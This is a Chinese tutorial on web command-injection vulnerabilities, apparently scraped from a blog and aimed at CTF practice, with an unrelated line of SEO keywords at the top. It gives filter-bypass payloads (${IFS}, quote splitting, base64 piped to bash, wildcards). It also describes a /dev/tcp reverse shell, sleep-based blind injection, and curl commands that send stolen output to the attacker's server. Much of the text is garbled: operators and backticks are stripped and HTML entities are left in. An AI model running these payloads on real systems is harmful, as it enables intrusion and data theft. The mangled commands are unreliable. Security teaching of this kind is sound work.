做百度商桥网站,中秋节ppt模板免费下载,建筑设计专业推荐网站,网站建设时间如何查询常见Web漏洞解析
命令执行漏洞
1.Bash与CMD常用命令
#xff08;1#xff09;Bash
读取文件#xff1a;最常见的命令cat flag
在 Bash 中#xff0c;cat 以及的tac、nl、more、head、less、tail、od、pr 均为文件读取相关命令#xff0c;它们的区别如下#xff1a; …常见Web漏洞解析
命令执行漏洞
1.Bash与CMD常用命令
1Bash
读取文件最常见的命令cat flag
在 Bash 中cat 以及的tac、nl、more、head、less、tail、od、pr 均为文件读取相关命令它们的区别如下
·cat
按顺序依次输出各文件内容常用于快速查看小文件内容或在脚本中组合文件内容等场景。
· tac
与 cat 相反tac flag 会将 flag 文件内容从最后一行到第一行依次显示。
· nl
nl flag 会在显示 flag 文件内容的同时给每行添加上行号
· more
逐页显示文件内容按空格键显示下一页按回车键显示下一行。当使用 more flag 时会以分页形式展示 flag 文件内容。但它不支持反向浏览适用于粗略查看文件且不需要太多交互操作的场景。
· head
默认显示文件的前 10 行内容。可通过选项指定显示的行数比如 head -n 5 flag 会显示 flag 文件的前 5 行。常用于快速查看文件开头部分内容了解文件大致结构或开头关键信息。
· less
也是分页显示文件内容功能比 more 更强大。支持前后翻页使用 Page Up 和 Page Down 键等、搜索内容输入 / 后接关键词可向下搜索? 后接关键词可向上搜索等操作。输入 less flag 后可对 flag 文件进行多种交互操作适合查看较大文件且需要频繁定位内容的情况。
·tail
默认显示文件的最后 10 行内容同样可通过选项指定显示行数如 tail -n 5 flag 显示 flag 文件的最后 5 行。还可以使用 -f 选项实时查看文件追加的内容常用于查看日志文件等当有新日志写入时tail -f 能即时显示新内容。
· od
以八进制、十六进制等多种格式显示文件内容主要用于查看二进制文件或者文本文件的原始字节数据。od flag 会以特定的格式展示 flag 文件的底层数据形式对于分析二进制文件结构等场景很有用。
· pr
用于将文件内容格式化输出比如添加页眉、页脚进行分页等处理方便打印。例如 pr flag 会对 flag 文件内容进行格式化后输出可通过选项设置页眉页脚样式、页宽等参数。
其他
rm a.txt 删除a.txt
mv a b 将a文件重命名为b
cp a a2 复制a到a2
ls 列出当前目录
ls/etc 列出 /etc 目录下的文件
2cmd
dir 显示目录里的文件和文件夹
cd 切换目录
md 创建新的文件夹
rd 删除文件夹但前提是这个文件夹得是空的
del 删除文件
cls 清屏
copy 复制文件相当于Linux里的cp
ren 重命名文件
type 显示文件的内容
2.命令执行漏洞的基础概念 调用了system函数,中间的参数可控,没对username进行过滤里面内容可能被注入其他命令
利用命令连接符注入我们想要执行的命令例如system(mkdir ls...
A;B:无论A执行成功与否都会执行B
AB:A后台执行,A、B同时执行
AB:A执行成功后才能执行B
A|B:A执行的结果作为B命令的参数,AB均会执行
A | |B:A 执行失败后执行B
注意如果直接把一些特殊符号放在URL里可能服务器根本识别不了你想要的命令。所以得对这些特殊符号进行URL编码。比如“;”编码后会变成“%3B”“”编码后是“%26”
3.过滤敏感字符串绕过的漏洞案例
黑名单过滤或者前面有安装WAF WAF中会拦截、过滤各种字符
(1)过滤空格
可以用%09、%0a在url编码中用得上、${IFS}、$IFS$9在Linux shell中用得上等字符来过滤关键字。
(2)过滤关键字(cat、flag等)
1)用开头的读取文件替代命令去读取文件。
2)在过滤的字符串中加入单引号、双引号或反斜杠( cat cat ca\t )
3)$(printf\x6c\x73) Is:利用printf16进制输出Is,再用$()调用Is
4 ) echo Y2FOIGluZGV4LnBocA | Base64-d | bash:Base64编码绕过,echo Base64的结果通过|又传入了Base64,解密命令后又传入bash执行。
5)利用通配符:catfl?g catf*(“c*a*t f*l*g*.t*x*t”。这里“*”代表任意多个字符这样就也可以模糊匹配到“cat flag.txt”命令)
6)ac;bat;$a$b:利用Linux下的变量拼接动态执行命令。
4.无回显的命令执行漏洞案例
system有回显exec无回显具体区别看我另一篇文章在PHP中system函数和exec函数有不同的功能和特点-CSDN博客文章浏览阅读42次。• system函数方便获取命令最后一行输出且直接显示全部输出适合简单查看命令执行结果的场景。• exec函数更侧重于控制命令执行状态如需获取输出需要额外处理在一些对输出控制要求更精细、需要灵活处理的场景中使用。https://blog.csdn.net/2401_88743143/article/details/145570794?sharetypeblogdetailsharerId145570794sharereferPCsharesource2401_88743143sharefrommp_from_link
无回显函数来执行命令时,可以用反弹shell了解相关知识并在ai上取了个生动形象的例子看我另一篇文章反弹shell-CSDN博客文章浏览阅读22次。这段代码就像是一把特殊的 “钥匙”。bash -i就像是打开 Shell 这扇门的初始动作它启动了一个交互式的 bash Shell就好像在屋子内部打开了一个可以操作的控制台。这部分/dev/tcp是 Linux 系统里一种特殊的网络设备接口ip是黑客自己服务器的地址port是一个特定的端口号这部分相当于让靶机按照黑客服务器的地址和端口号去建立一个连接就像是让屋子里的人按照小偷给的地址和门牌号去敲门。01则是把标准输入也导向这个连接保证整个交互过程的顺畅。https://blog.csdn.net/2401_88743143/article/details/145573131?sharetypeblogdetailsharerId145573131sharereferPCsharesource2401_88743143sharefrommp_from_link
攻击时没有回显常用的payload就是sleep 5判断这里是否存在命令注入。存在漏洞就会延时5s,当我们输入cmdsleep5,服务器等待5s才回显出页面的话,存在命令注入,可以开始外带数据了。一般常见的就是使用HTTP外带数据,使用curl或者wget: 先在服务器上设置一个监听端口然后在靶机上发送post请求去监听端口curl http://服务器 IP/-X POST-dals如果没有反引号,还可以使用$()代替。如果不能用反引号,$()这些嵌套命令执行符号怎懡外带数据在Linux中可以把命令执行的结果写入tmp目录,并且用curl把这个文件发到我们自己的机器上
命令解释
1)首先用重定向符号把命令执行结果写入到/tmp/re-sult中。
2)然后利用curl的-F参数将文件上传,将/tmp/result发送到远程服务器,参数格式如下 :- F任意值文件路径。
5.不出网的命令执行漏洞案例
假设web目录有写权限,那么我们可以把命令执行的结果写到Web根目录下用,然后去访问即可获得结果http://127.0.0.1:8080/cmd.php? cmdls-11.txt
如果目录不可写,那么我们可以通过延时注入来获取内容,if [ whoami |cut-c 1r ]; then sleep 2;fi
以上的命令盲注大致分3步。
1)首先是利用反引号执行whoami|cut-c1。获取到whoami的第一个字符r。
2)比较命令执行的返回结果和r,一致则返回True,否则就返回False。
3)最后进行if判断,如果为True,就sleep 2s。
经典例题[GXYCTF2019]Ping Ping Ping 文件执行漏洞-CSDN博客文章浏览阅读2.5k次点赞23次收藏30次。通过回显我们可以知道在当前目录有flag.php和index.php文件。管道符上一条命令的输出作为下一条命令的参数显示后面的执行结果比如我们想执行 cat flag.php但对方过滤了flag字符串。前面的语句为假则直接出错后面的也不执行前面只能为真。这个的意思是匹配到按flag这个顺序的所有字符。这个的意思是匹配到按flag这个顺序的所有字符。1、命令联合执行参考lunan0320cat fla$a.php即可。当前面的执行出错时为假执行后面的。前面的执行完执行后面的。_[gxyctf2019]ping ping pinghttps://blog.csdn.net/weixin_59233715/article/details/134966104?fromshareblogdetailsharetypeblogdetailsharerId134966104sharereferPCsharesource2401_88743143sharefromfrom_link